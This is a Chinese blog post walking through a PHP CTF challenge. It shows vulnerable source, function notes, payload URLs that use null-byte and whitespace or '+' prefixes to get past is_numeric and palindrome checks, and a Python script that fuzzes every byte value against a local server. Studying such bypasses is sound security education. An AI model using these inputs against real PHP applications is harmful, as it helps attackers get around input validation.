初探审计—空白字符绕过

Ox1 源码

<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
//回文检测函数
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

Ox2 函数注解

01 addslashes()

addslashes ( string $str ) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(**)与 NUL(NULL 字符)。

02 strval()

strval ( mixed $var ) : string

返回 var 的 string 值。 var 可以是任何标量类型。不能将 strval() 用于数组或对象。

03 ini_set()

ini_set ( string $varname , string $newvalue ) : string

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

04 intval()

intval ( mixed $var [, int $base = 10 ] ) : int

通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

05 strrev()

strrev ( string $string ) : string

返回 string 反转后的字符串。

Ox3 payload

http://127.0.0.1/Php_Bug/02.php?number=%00%0c191

http://127.0.0.1/Php_Bug/02.php?number=%00%2B191

Ox4 我的理解与分析

01 逻辑分析

  • !is_numeric($_REQUEST['number'])
  • $req['number']==strval(intval($req['number']))
  • intval($req['number']) == intval(strrev($req['number']))
  • !is_palindrome_number($req["number"])
  • get flag

条件4需要加字符但是加了之后需要满足2,3这两个条件所以就可以在原题目中简化出2,3,4来进行Fuzzing

02 fuzzing过程

后端逻辑代码:

<?php
function is_palindrome_number($number) {
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0;
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) {
        if($number[$i] !== $number[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}
$a = trim($_GET['number']);
$flag=($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a);
if($flag==1){
    echo "1";
}
?>

fuzzing代码:

import requests

'''
02php的fuzz代码
'''
for i in range(256):
    rq = requests.get("http://127.0.0.1/test/02.php?number=%s191"%("%%%02X"%i))
    if '1' in rq.text:
        print("%%%02X"%i)

'''
output:
其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”
%0C         (换页键)
%2B         (+)
'''

Ox5 总结

01 is_numeric($_REQUEST['number'])绕过

这个绕过的方法很多使用%00开头(对应的字符是null,空字符)也可以再POST一个number参数把GET中的覆盖掉也可以

02 正好引起的判断问题

%2B就是加号,它的回文检测函数是基于字符的正逆向检测,会受到“+”的干扰。

03逻辑fuzz

从代码从简化出我们需要fuzz的逻辑部分代码,构造自己的后台逻辑代码。

确定我们的fuzz域。

遍历式的检测。

Ox6 Ref

感谢"git主"(滑稽)地整理:github地址

感谢官网助攻:官网手册

猜你喜欢

转载自www.cnblogs.com/goodswarm/p/11068639.html